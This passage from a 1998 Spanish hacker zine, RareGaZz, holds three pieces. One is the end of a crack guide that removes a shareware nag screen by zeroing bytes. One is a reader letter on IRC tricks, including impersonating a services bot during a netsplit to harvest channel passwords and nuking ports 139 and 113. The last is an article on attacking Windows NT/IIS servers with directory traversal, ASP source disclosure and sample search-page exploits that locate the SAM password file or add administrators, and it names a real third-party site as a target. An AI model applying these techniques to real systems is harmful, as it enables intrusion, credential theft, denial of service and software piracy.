6C 65 64 20 77 69 74 68 20 75 6E 72 65 67 69 73 programa obligandonos a
74 65 72 65 64 20 76 65 72 73 69 6F 6E 20 6F 66 pagar por usar este
20 54 75 72 62 6F 42 41 54 20 62 61 74 63 68 0D programa.
0A 66 69 6C 65 20 63 6F 6D 70 69 6C 65 72 2E 20
20 50 6C 65 61 73 65 20 72 65 67 69 73 74 65 72
20 74 6F 20 65 6C 69 6D 69 6E 61 74 65 20 74 68
69 73 20 6D 65 73 73 61 67 65 2E 0D 0A 0A ....
Para quitarlo hay que rellenar toda la cabecera con bytes neutros como 00
hasta el ultimo retono de carro que indica el final del mensaje 0D 0A 0A:
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 ....
Bueno ya saben como va esto, no? Para crear el archivo frost.zip con las
utilidades que se han descrito mas arriba copia el texto entre los puntos
(sin los puntos) y copialo a un archivo con el nombre frost.uue y usa el
programa UUDECODE (incluido en RareGaZz #1) con la siguiente SINTAXIS:
UUDECODE FROST.UUE
..........................Empieza el codigo....................................
[Image]Download Attachment: frost.zip [Get Virus Scan]
..........................Fin del codigo.......................................
Estas utilidades te haran la vida mas facil
Mr_Frost
oOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoO
Y para que veais que en nuestro zine tenemos gran variedad, aqui va algo de
IRC. Algunos trucos son los de siempre, pero hay otros que estan muy bien ..
oOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoO
11 - TRUCOS PARA EL IRC HISPANO
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Jelou. Primero de todo felicitarles por este magnifico magazine que estan
promoviendo y que es de gran utilidad (al menos para mi). Tb me
gustaria ofrecerles mi colaboración para lo que quieran IRC paginas
interesantes algo que busquen y no encuentren, etc. como parece que el tema
del IRC lo dejan un poco a parte, es normal ya que hay cosas más
interesantes, me gustaria hacer un pequeño inciso sobre el IRC en un numero
de su revista vi que pedían más servidores españoles aquí os va una pequeña
lista de servidores españoles:
fuego.irc-hispano.org\
En estos dos servidores recomiendo el puerto 8896 (para mejor rapidez
y menor posibilidad de nukeo)
aire.irc-hispano.org /
irc.redestb.es
irc.ctv.es
irc.lleida.net
irc.catalunya.net
Yo creo que con esos servidores ya va bien. Ahora os recomendare unos
scripts y os dire paginas donde encontrarlos:
Si quereis un script para el IRC de guerra podeis conseguir estos:
- AzEzInO v2.1 ( este os lo recomiendo es genial para matar a gente :)
- Killer Zombie
Si por el contrario quereis un script de dibujitos sonidos y tonterias
estan estos otros:
- Orbital
- Beginner
- Shark
- Skripter 97
Aqui teneis una direccion donde podreis encontrara estos scripts y más:
www.arrakis.es/~sucubus
Si deseais hacer vuestro propio script para el IRC os mando un manual
pequeño pero que os dara una minima idea de como poder hacer vuestro propio
script y con ayuda de ese manual y la guia de ver otros scripts pues podeis
hacer vuestro propio script.
TRUQUITOS PARA EL IRC
Este truco funciona a veces no funciona siempre pero a veces esta bien ya
que puedes descubrir con quien hablas ya que el internet es muy falso
Al poner /dns nick sale la dns de una persona y si ponemos la dns al reves
pues en varias ocasiones sale el nombre del ordenador que le da la persona
a su ordenata acostumbra a ser su nombre, así podemos saber si miente o no.
Por ejemplo:
Estamos hablando con alguien y dice que es una tia y muchas mas cosas y su
nick es julia tu puedes poner /dns julia saldra una cosa como 195.67.87.5 y
entonces pones /dns 5.87.67.195 y si sale bien saldria el nombre del
ordenata que podria ser julia o juan depende si miente o no es un truquito
para saber con quien hablamos.
Otro truquito para conseguir passwords de la gente de los canales y tener
acceso a ese canal es que cuando haya un split, no muy anormal en el irc
hispano, tengas un clon y le pongas rapidamente el nick de Scytale ( bot de
arrakis ) y estar en muchos canales y asi la gente que entre al canal que
este registrado y tenga la autentificación automatica te dira su pass de
una forma muy rapida :)
En este mail os incluyo un nuke muy potente y recordad que los puertos que
podeis nukear son el tipico 139, 113 y hay otros pero no me los se.
Para evitar que os nukeen, que realmente no es divertido ya que suele
putearte cuando bajas archivos o estas haciendo otro tipo de maldades por
internet o telnet, lo que podeis hacer es el archivo vnbt.386 le canviais
el nombre por vnbt.bak esto es para los usuarios de win95 ya que linux creo
que no tiene ese pequeño error, de esta forma nadie podra nukearos.
Bueno de momento eso es todo espero que os haya servido de algo lo que os
he contado. Realmente como decis los hackers españoles han muerto y han
sido enterrados pero es que aquí en españa estamos muy puteados con la puta
timofonica ya que conectarse es muy caro y encima subiran a 300 pelas la
hora y los numeros 900 que funcionen no abundan mucho. Pero aunque no haya
hacekrs aunque gente como yo, como voostros que queremos que la informacion
sea libre y gratuita y que los putos poderosos dejen de darnos la bara y
que encierren a los putos políticos corruptos en vez de a inocentes hackers
que no hacen daño a nadie PODREIS METER MI CUERPO EN UNA CARCEL, PERO MI
MENTE SIEMPRE LIBRE SIEMPRE ARDE PORQUE ES INARRESTABLE ( EL CLUB DE LOS
POETAS VIOLENTOS ) Bueno y después de todo este rollo se despide alguien
que quiere colaborar con todo este movimiento y que le gustaria recibir
notificaciones de nuevas publicaciones y si necesitais ayuda en algo no
dudeis en comunicarlo que se buscara información, se realizara lo necesario
y se os ayudara. Venga adios. POBRE, LISTO, TONTO O RICO MORIRAS ( by ME )
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
Cada dia se encuentran mas servidores con Windows NT. Creo que es importante
estudiarlos ya que, al ser de Microsoft, seguro que es mas facil hackearlos.
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍËÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º º º
º LAS º +++ Azum Lord +++ º
º POSIBILIDADES EN º º
º WINDOWS NT º http://members.xoom.com/logos/wlm.htm º
º -segunda parte- º AzumLord@bigfoot.com º
º º º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÊÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
Hello World!!!!!, aprovechando que me quede en casa y no sali de vacaciones
en semana santa :-(, heme aqui y como tengo varios dias esto va estar medio
cargado.
Primero que nada tienes que saber si es un servidor NT asi que hay varias
posibilidades para saber si es o no, un servidor NT:
1. Fijate en la pagina de la vicitma talvez ahi diga
2. Ve a http://www.netcraft.com/cgi-bin/Survey/
3. Prueba NBTSTAT -A [ip address] y fijate en la respuesta
La primera opcion es la mas sencilla en esa URL se encuentra un robot que es
mas o menos como un motor de busqueda tu le das la direccion y te dice que
tipo de servidor esta corriendo, pero el problema es que no todos los servidores
estan registrados asi que en algunos no podras usar esta opcion.
La segunda opcion es la mas simple, vas a la pagina de la victima y si dice
que es un servidor NT ya la hiciste o talvez te encuntras con paginas que envez
de ser *.html o *.htm son *.asp
La tercera es la mas segura.
Si ya encontraste un servidor NT, puedes probar algunos de los siguientes
exploits.
Saltando directiorios:
Para saltar el directorio wwwroot, que es el direcorio del web, pon lo sig.:
http://www.victima.com/..\..
Pero esto ya no funciona en un servidor IIS 3.0/NT 4.0 corriendo el service
pack 3.
Viendo el contenido de un ASP:
Por ejemplo la direccion normal es www.victima.com/pagina.asp para ver el
codigo usas http://www.victima.com/pagina.asp.
^El punto hace que el codigo
sea visible en el navegador.
El problema es que esta parchado en sistemas corriendo el service pack 2 y 3
El exploit de los motores de busqueda:
Este es el que mejor funciona en casi todos los servidores que lo he probado.
Solo tienes que poner:
http://www.uyweb.com.uy/samples/search/queryhit.htm
Este servidor esta muu bien pa' practicar un rato, asi que ya sabes,
como este ay un (#!))$)(($ de servidores.
Si por ejemplo sale una pagina que parece un motor de busqueda el exploit
"podria" funcionar y digo "podria" porque talvez puedas accesar a la pagina
pero al hacer una busqueda no tienes privilegios asi que esto no serviria de
nada, pero si puedes ejecutar la busqueda preparate para hacer esto:
Puedes buscar por cualquier archivo en el servidor, por ejemplo.
\\WINNT\SYSTEM32\CONFIG\SAM --> Que es el archivo de password del NT
\\WINNT\REPAIR --> Que es el respaldo del archivo de password del NT
O puedes buscar especificamente por un tipo de archivo usando esto:
#filename=*.asp --> Para que busque todos los archivos con terminacion
asp, haz mas pruebas con eso busca por ejecutables, zippeados, cabs
en algunos servidores puedes bajar buen software.
Tambien puedes buscar por *.htx, *.idq, *.log, *.txt, *.scp, *.doc, etc.
talvez contengan alguna informacion importante.
Estuve jugando un rato con eso, y encontre que si ese servidor tiene
instalado el Back Office para Windows NT que es para administrar bases de
datos SQL puedes buscar por un archivo que se llama anusqllogin.asp
Por si no se te prendio el foco de como buscar el archivo solo pon esto:
#filename=anusqllogin.asp
Y si lo puedes accesar puedes agregar administradores con el nombre y
passwd que quieras };-> la mayoria de las ocasiones este archivo no tenia
restricciones y lo pude accesar y ejecutar.
Tambien puedes probar este otro motor de busqueda:
http://www.victima.com/scripts/samples/search/webhits.exe
Pero la mayoria de las veces que lo he probado falla, pero vale la pena
intentarlo asi que pruebalo de todas maneras.
Azumlord@hotmail.com
`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'
Esto es todo amigos. Espero que la hayais encontrado interesante y que sigais
colaborando con vuestros articulos y sugerencias.
Pronto volveremos con mas cosas ....
RareGaZz '98
~~~~~~~~~~~~